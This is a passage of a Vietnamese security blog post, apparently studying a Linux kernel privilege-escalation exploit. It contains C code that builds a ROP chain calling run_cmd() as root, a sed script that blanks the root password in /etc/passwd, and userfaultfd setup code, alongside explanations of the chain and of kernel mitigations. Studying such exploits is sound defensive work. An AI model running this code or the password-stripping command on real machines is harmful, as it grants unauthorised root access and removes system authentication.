char *cmd = "/bin/sh /home/a13x/pwn"; /* rewrites /etc/passwd to drop root password */
size_t cmdlen = strlen(cmd) + 1; /* for 0 byte */

/* mem_priv is the arg for vaddr() */
vplane = vbuf->vb.vb2_buf.planes;
vplane->mem_priv = (void *)(kstack - TIMEX_STACK_OFFSET + ROP_CHAIN_OFFSET);

rop = (unsigned long *)(timex_addr + ROP_CHAIN_OFFSET);
printf("   rop chain will be at %p, userspace %p\n", vplane->mem_priv, rop);

strncpy((char *)timex_addr + CMD_OFFSET, cmd, cmdlen);
printf("   cmd will be at %lx, userspace %p\n",
	(kstack - TIMEX_STACK_OFFSET + CMD_OFFSET),
	(char *)timex_addr + CMD_OFFSET);

/* stack will be trashed near rop chain, be careful with CMD_OFFSET */
*rop++ = 0x1337133713371337; /* placeholder for pop rbp in the pivoting gadget */
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_RUN_CMD + kaslr_offset;
*rop++ = ROP__POP_RDI__RET + kaslr_offset;
*rop++ = (unsigned long)(kstack - TIMEX_STACK_OFFSET + CMD_OFFSET);
*rop++ = ROP__JMP_R15 + kaslr_offset;
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_DO_TASK_DEAD + kaslr_offset;
*rop++ = ROP__JMP_R15 + kaslr_offset;

printf(" [+] the payload for kernel heap and stack is ready. Put it.\n");

Cách thức hoạt động của ROP chain

  1. ROP chain đưa địa chỉ của hàm run_cmd() từ kernel/reboot.c vào thanh ghi R15.
  2. Lưu địa chỉ của lệnh shell vào thanh ghi RDI. Địa chỉ này sẽ lưu tham số của hàm run_cmd().
  3. Chương trình sẽ nhảy tới run_cmd() để thực thi /bin/sh /home/edisc/pwn với quyền root. Đoạn mã này sẽ viết lại /etc/passwd cho phép chúng ta đăng nhập với quyền root mà không cần password.
1
2
3
#!/bin/sh
# drop root password
sed -i '1s/.*/root::0:0:root:\/root:\/bin\/bash/' /etc/passwd
  1. ROP chain nhảy tới __noreturn_do_task_dead() trong kernel/exit.c. Thao tác này nhằm tránh trường hợp kthread hiện tại không dừng, nó sẽ làm kernel crash - chúng ta không muốn điều đó.

Một số ảnh hưởng tới việc khai thác

Có mốt số tính năng của kernel có thể ảnh hưởng tới việc khai thác của chúng ta:

  1. Thiết lập /proc/sys/vm/unprivileged_userfaultfd0 sẽ không cho phép payload được lưu trong kernel. Việc này gây ra hạn chế, userfaultfd() chỉ hoạt động bởi privileged users (với SYS_CAP_PTRACE capability).
  2. Thiết lập kernel.dmesg_restrict sysctl về 1 sẽ chặn rò rỉ thông tin qua kernel log. VIệc này hạn chế người dùng đọc thông tin từ kerbel syslog qua dmesg. Tuy nhiên, dù cho kernel.dmesg_restrict = 1. Người dùng Ubuntu từ group adm vẫn có thể đọc kernel log từ /var/log/syslog.
  3. Bản vá của grsecurity/PaX có một tính năng gọi là PAX_RANDKSTACK làm khó khăn cho việc đoán vị trí của vb2_qeue.
  4. PAX_RAP từ bản vá của grsecurity/PaX có thể chặn ROP/JOP chain mô tả ở trên.

poc detail

Tiếp theo chúng ta tiến hành viết poc để khai thác lỗi trên

Môi trường thực thi

Init and start setxattr_userfaltfd_monitor, adjtimex_userfaultfd_monitor

  • Chúng ta tiến hành tạo và chạy setxattr_userfaultfd và adjtimex_userfaultfd để giám sát và xử lí lỗi pagefault
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

void init_setxattr_userfaultfd(){
    long uffd; /* userfaultfd file descriptor */
                /* start of region handled by userfaultfd */
    unsigned long len; /* Length of region handled by userfaultfd */
    pthread_t thr; /* ID of thread taht handles pagefaults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
    printf("[+] init_setxattr_userfaultfd\n");
    page_size = sysconf(_SC_PAGE_SIZE);

    printf("[*] pagesize = %lf\n", page_size);
    pthread_t thr2[100] = { 0 };
    len = 4 * page_size;
    
    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        err_exit("userfaultfd");
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        err_exit("ioctl-UFFDIO_API");
    
    /* Create a private anonymous mapping. The memory will be
    demand-zero paged--that is, not yet allocated. When we
    actually touch the memory, it will be allocated via 
    the userfaultfd. */
    xattr_addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("[+] The sexattr_addr anonymous page_addr: %p\n", xattr_addr);
    if (xattr_addr == MAP_FAILED)
        err_exit("mmap");
    
    uffdio_register.range.start = (unsigned long)xattr_addr + 2 * page_size;
    uffdio_register.range.len = 2*page_size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;

    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        err_exit("ioctl-UFFDIO_REGISTER");
    
    /* Create a thread that will process the userfaultfd events */
    s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
    if (s != 0){
        errno = s;
        err_exit("pthread_create");
    }
}

Trong hàm này, tôi chú ý tới một số điểm - những điểm này đối với tôi ở thời điểm hiện tại đọc không hiểu / chưa hiểu rõ:

  1. Hàm sysconf(_SC_PAGE_SIZE):

Nguồn tham khảo

Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page